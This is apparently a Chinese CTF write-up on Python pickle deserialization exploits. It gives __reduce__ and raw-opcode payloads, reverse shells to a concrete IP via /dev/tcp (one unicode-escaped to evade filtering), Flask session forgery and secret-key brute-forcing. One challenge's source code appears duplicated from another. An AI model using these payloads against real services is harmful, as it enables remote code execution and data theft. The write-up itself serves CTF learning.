前言 参考:https://j1rry-learn.github.io/posts/ctf%E9%A2%98%E5%9E%8B-pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/
pickle模块基于python主要牵扯到两个函数,一个是dumps另一个是loads,类似于emmmm,php的serialize和unserialize方法,危害还是很大的,可以直接进行命令执行。
知识点
pickle.dumps(obj[, protocol])
1 2 3 4 功能:将obj对象序列化为string形式,而不是存入文件中。 参数: obj:想要序列化的obj对象。 protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)
1 2 3 功能:从string中读出序列化前的obj对象。 参数: string:文件名称。
总结来说,dumps是序列化成一个字符串,而loads是反序列化成一个对象。
有关的魔术方法
reduce : 构造方法,在反序列化的时候自动执行
setstate : 在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。
payload案例
1 2 3 4 5 6 7 8 9 10 import pickle import base64 class A(object): //创建一个新式类调用__reduce__方法 def __reduce__(self): return (eval,("__import__('os').popen('env').read()",))//最后一个,是创建一个单元素元组 a=A() a=pickle.dumps(a); print(base64.b64encode(a))
1 2 3 4 5 6 7 8 9 10 11 12 import pickle import os import base64 class A(object): def __reduce__(self): return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',)) a=A() payload=pickle.dumps(a) payload=base64.b64encode(payload) print(payload)
进阶 使用opcode绕过过滤 opcode的介绍:
opcode 又称为操作码 ,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。
具体可参考https://xz.aliyun.com/news/7032#toc-11
opcode在这里:https://github.com/python/cpython/blob/main/Lib/pickle.py#L111
可使用的工具为:https://github.com/eddieivan01/pker
opcode的解析:
获得对象入栈(代表一个MARK
实例化一个字符串对象并且入栈
将参数变成一个元组,这里的/etc/passwd是一个参数,我们最后用的是R操作符,所以参数一定要是一个元组,使用t操作符转换上一个MARK后的为元组,
R将入栈的第一个元素作为函数,第二个为参数执行。
可以对应大佬列举的操作符的具体作用看,一定要看懂才会构造。
一些命令执行的payload
1 2 3 4 b'''cos //获取全局变量导入os模块 system //需要调用的函数名 (S'whoami' tR.''' //转换成元组,并将whoami作为参数传入system
1 2 3 4 b'''(S'whoami' //参数要传给接下来导入的whoami ios //看下文 system //需要调用的函数 .'''
i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
1 2 3 4 b'''(cos system S'whoami' o.''
o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
例题 不用使用opcode的题目 [HFCTF 2021 Final]easyflask 先看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #!/usr/bin/python3.6 import os import pickle from base64 import b64decode from flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY"] = "*******" User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, }) @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js" @app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open(path, 'r') as fp: content = fp.read() return content @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?' if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)
这是主要利用点,反序列化的位置,我们可以控制User这个类,执行恶意代码来获取flag
通过session进行注入,先要伪造session,那么就要找密钥了,利用文件包含读取环境变量
这里的非预期解,当没看见
secret key
1 glzjin22948575858jfjfjufirijidjitg3uiiuuh
对u中的b进行反序列化构造格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {"u":{"b":"payload"}} User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/8.140.236.137/9999 0>&1"',)) }) import os import pickle import base64 User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (eval, ("__import__('os').system('cat /flag>test')",)) }) user=pickle.dumps(User()) print(base64.b64encode(user).decode())
emmm,反弹shell我是没弹出来但是能配合文件包含写文件,读flag
[HZNUCTF 2023 preliminary]pickle 先给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import base64 import pickle from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): with open('app.py', 'r') as f: return f.read() @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!" @app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0')
禁用了os,这题有个非预期是进行文件读取
直接读取环境变量,得到flag
预期就是使用pickle了
1 2 3 4 5 6 7 8 9 10 import pickle import base64 class A(object): def __reduce__(self): return (eval,("__import__('o'+'s').system('env | tee c')",)) a=A() a=pickle.dumps(a) print(base64.b64encode(a))
使用opcode的题目 [MTCTF 2022]easypickle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import base64 import pickle from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): with open('app.py', 'r') as f: return f.read() @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!" @app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0')
由于使用的密钥是四位随机字符串,可以进行爆破,先生成对应的字典
1 2 3 4 5 6 7 import os file_path='./key.txt' with open(file_path, 'w') as f: for i in range(1,100000): key = os.urandom(2).hex() f.write("\"{}\"\n".format(key))
然后使用flask-unsign去爆破
成功
这里没有用到a,可以直接pickle反序列化
使用的payload应该是
1 2 3 4 b'''(cos system S'whoami' o.''
但是这题禁用了o并且没有文件读取,需要反弹shell
1 2 3 4 5 opcode = b"""(cos system S'bash -i >& /dev/tcp/ip/port 0>&1' o. """
禁用了o可以用os去凑一下,但是反弹shell时会将i禁用,这时候我们就需要使用操作符V
使用os的话要遵循s操作符的用法所以要构造
1 2 3 4 5 6 7 8 9 b"""(S'key' S'val' dS'v' (cos system V\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0038\u002e\u0031\u0034\u0030\u002e\u0032\u0033\u0036\u002e\u0031\u0033\u0037\u002f\u0039\u0039\u0039\u0039\u0020\u0030\u003e\u0026\u0031 os. """ {'user': 'admin','ser_data': 'KFMna2V5JwpTJ3ZhbCcKZFMndicKKGNvcwpzeXN0ZW0KVlx1MDA2Mlx1MDA2MVx1MDA3M1x1MDA2OFx1MDAyMFx1MDAyZFx1MDA2OVx1MDAyMFx1MDAzZVx1MDAyNlx1MDAyMFx1MDAyZlx1MDA2NFx1MDA2NVx1MDA3Nlx1MDAyZlx1MDA3NFx1MDA2M1x1MDA3MFx1MDAyZlx1MDAzOFx1MDAyZVx1MDAzMVx1MDAzNFx1MDAzMFx1MDAyZVx1MDAzMlx1MDAzM1x1MDAzNlx1MDAyZVx1MDAzMVx1MDAzM1x1MDAzN1x1MDAyZlx1MDAzOVx1MDAzOVx1MDAzOVx1MDAzOVx1MDAyMFx1MDAzMFx1MDAzZVx1MDAyNlx1MDAzMQpvcy4K'}
伪造session
然后弹shell得到flag(我是没弹到,但是思路应该没问题)